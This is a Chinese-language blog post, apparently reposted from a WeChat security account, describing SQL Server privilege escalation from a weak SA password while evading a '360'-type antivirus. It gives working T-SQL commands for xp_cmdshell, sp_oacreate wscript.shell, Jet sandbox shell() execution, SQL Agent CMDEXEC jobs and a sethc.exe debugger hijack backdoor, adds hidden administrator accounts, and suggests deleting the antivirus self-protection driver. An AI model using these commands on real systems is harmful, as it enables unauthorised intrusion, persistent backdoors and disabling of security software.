在安全防护下SQL SERVER提权的各种尝试

admin 2022年5月16日20:17:52评论68 views字数 2716阅读9分3秒阅读模式
在安全防护下SQL SERVER提权的各种尝试

点击蓝字 关注我们

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

原作者有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本人允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

在某市的护网时,内网碰到一个SA弱口令的数据库。于是乎我高兴的代理进入数据库输入命令点击运行…一个神奇的返回执行失败。当时的我表情是这样的

在安全防护下SQL SERVER提权的各种尝试

我猜想了下估计又是某大厂的某60作祟,琢磨着我翻出之前PTE考试时老师给的资料包。查询了下Sql server提权的部分,通过测试找到可执行的命令查看进程发现真是它拦截了。后来发现有向日葵翻出来配置文件,破解密码后就拿到了权限。

直接进入正题!SQLSERVER提权也就是利用相关组件达到系统执行的操作。所获得的权限和运行数据库及组件的权限挂钩。部分组件不被拦截的原因可能是基于微软的白名单,所以才不会被拦截。

01

xp_cmdshell提权命令

启用xp_cmdshell:

EXEC sp_configure 'show advanced options', 1 --

RECONFIGURE WITH OVERRIDE --

EXEC sp_configure 'xp_cmdshell', 1 --

RECONFIGURE WITH OVERRIDE --

EXEC sp_configure   'show advanced options', 0 –


xp_cmdshell执行命令:

exec master..xp_cmdshell 'net user venus 123 /add'

在安全防护下SQL SERVER提权的各种尝试

当你在实际执行的时候会发现会话很长时间没有返回内存,说明某60已经把你拦截了。同时会返回错误代码5就是没有权限的意思。


在安全防护下SQL SERVER提权的各种尝试
在安全防护下SQL SERVER提权的各种尝试

02

xp_oacreate提权命令

declare @shell int

exec sp_oacreate 'wscript.shell',@shell output

exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c echo 1 > c:1.txt'--

在安全防护下SQL SERVER提权的各种尝试

出现这个情况必须得启用'Ole Automation Procedures'。

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures', 1;

GO

RECONFIGURE;

GO

EXEC sp_configure 'Ole Automation Procedures';

GO

正常可以执行命令,但是不回显。

在安全防护下SQL SERVER提权的各种尝试

然后依旧被某60拦截。

在安全防护下SQL SERVER提权的各种尝试

03

沙盒提权

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user sql$ Qwerasdf1234 /add")');

高版本报错不存在,

缺少Microsoft.Jet.OLEDB.4.0。2012R2/sqlserver2008

在安全防护下SQL SERVER提权的各种尝试

低版本2003/sqlserver2005。

在安全防护下SQL SERVER提权的各种尝试

打开配置

exec sp_configure 'show advanced options',1

reconfigure

exec sp_configure 'Ad Hoc Distributed Queries',1

reconfigure

在安全防护下SQL SERVER提权的各种尝试

开启后执行某60没有拦截

在安全防护下SQL SERVER提权的各种尝试

04

job提权

CS c/py

先启动agent服务

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

添加一个job用于执行cmd命令:

use msdb;

exec sp_delete_job NULL,'x';

exec sp_add_job 'x';

exec sp_add_jobstep NULL,'x',NULL,1,'CMDEXEC','cmd /c dir c: > c:a.txt';

exec sp_add_jobserver NULL,'x',@@servername;

exec sp_start_job 'x';

通过bulk查看a.txt结果:

drop table [clee];

CREATE TABLE [clee](ResultTxt nvarchar(1024) NULL);

BULK INSERT [clee] FROM 'c:a.txt' WITH (KEEPNULLS);

insert into [clee] values ('g_over');

Alter Table [clee] add id int NOT NULL IDENTITY (1,1);

select * from [clee];

thon的shellcode 靶机内存2G

在安全防护下SQL SERVER提权的各种尝试

绕过了某60的拦截成功执行了命令,但是执行敏感操作如net的时候还是会被拦截。

在安全防护下SQL SERVER提权的各种尝试

05

镜像劫持

利用regwrite函数修改注册表,起到劫持作用。某60自保护模式无法使用。

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'

在安全防护下SQL SERVER提权的各种尝试

然后检查是否劫持成功

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'

在安全防护下SQL SERVER提权的各种尝试

03这台某60是刚装的没开自保护模式所以不会拦截。

在安全防护下SQL SERVER提权的各种尝试

实际中如果要用到镜像劫持的功能就把某60卸载了,或者把360SelfProtection.sys给删除就可以改Debugger值了。

在安全防护下SQL SERVER提权的各种尝试
在安全防护下SQL SERVER提权的各种尝试

结论

总体来说,面对拦截也不是完全束手无策,比较推荐的是job提权。基本上区别其他几个提权会相对好用。

在安全防护下SQL SERVER提权的各种尝试

Forest Team


微信号|ForestTeam

在安全防护下SQL SERVER提权的各种尝试

期待你的

分享

点赞

在看


原文始发于微信公众号(Th0r安全):在安全防护下SQL SERVER提权的各种尝试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月16日20:17:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在安全防护下SQL SERVER提权的各种尝试http://cn-sec.com/archives/1010100.html

发表评论

匿名网友 填写信息